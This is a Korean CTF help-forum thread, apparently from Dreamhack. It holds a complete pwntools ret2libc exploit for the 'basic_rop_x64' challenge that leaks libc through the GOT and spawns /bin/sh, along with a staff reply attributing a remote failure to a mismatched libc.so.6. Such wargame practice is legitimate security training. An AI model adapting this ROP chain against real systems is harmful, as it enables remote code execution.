from pwn import *
context(arch='amd64', os='linux')
host = "host3.dreamhack.games"
port = 12110
r = remote(host, port)
r = process("./basic_rop_x64")
libc = ELF("./libc.so.6")
e = ELF("./basic_rop_x64")
read_plt = e.plt["read"]
read_got = e.got["read"]
write_plt = e.plt["write"]
pop_rsi_r15 = 0x0000000000400881
pop_rdi = 0x0000000000400883
ret = 0x00000000004005a9
payload = b"A"* 0x48
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) +p64(0)
payload += p64(write_plt)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) +p64(0)
payload += p64(read_plt)
payload += p64(pop_rdi) + p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)
pause()
r.send(payload)
r.recvuntil(b"A"*0x40)
read_addr = u64(r.recvn(6) + b"\x00" * 2)
libc_base = read_addr - libc.symbols["read"]
sys_addr = libc_base + libc.symbols["system"]
r.send(p64(sys_addr)+b"/bin/sh"+b"\x00")
r.interactive()
로컬 환경에선 되고 서버에선 해당 코드가 익스플로잇을 수행하지 못해서 환경 문제인듯 싶어서 도커로 제공해주는 도커파일 이용해서 해봤는데도 안되네요. 혹시 이 문제에서 제공해주는 라이브러리랑 서버에서 사용하는 라이브러리가 차이가 있는걸까요?
[] Switching to interactive mode
\x00\x00\xc0\xfd\xf39%\x7f\x00\x00 \x84\xf59%\x7f\x00\x00pv\xf99%\x7f\x00\x006\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[] Got EOF while reading in interactive
오류 코드입니다.
안녕하세요 SUPERSUNN님, 작성해주신 익스플로잇 코드의 경우 리모트에 정상적으로 동작하는 것으로 보입니다. 코드를 살펴봤을 때, 갖고 계신 libc.so.6
파일의 경우 로컬 환경의 libc 파일이 아닌 지 의심되는 상황입니다. 기본적으로 리눅스에서 바이너리가 실행될 때 같은 디렉토리에 있는 libc.so.6
가 아닌 "/lib/x86_64-linux-gnu/libc.so.6" 경로의 libc가 로드됩니다. 하지만, 로컬에서 동작한 익스 코드의 경우 같은 디렉토리에 있는 "./libc.so.6"를 기준으로 익스플로잇이 성공하였음을 암시하고 있습니다. 아마, "./libc.so.6" 파일이 로컬 환경의 libc와 동일한 libc로 교체된 것으로 추측됩니다.
문제에서 제공된 libc의 sha256 해시값은 아래와 같습니다.
$ sha256sum ./libc.so.6
568740b06a8afa26db4874f8cf61985ecbc6dd127f4229416fe95da8f9ec13fb ./libc.so.6
해시 값이 다르다면, 문제 파일을 다시 다운로드 받으시어 리모트 환경의 "libc.so.6"으로 다시 진행하시면 문제 없이 리모트 익스플로잇이 가능하시리라 생각됩니다.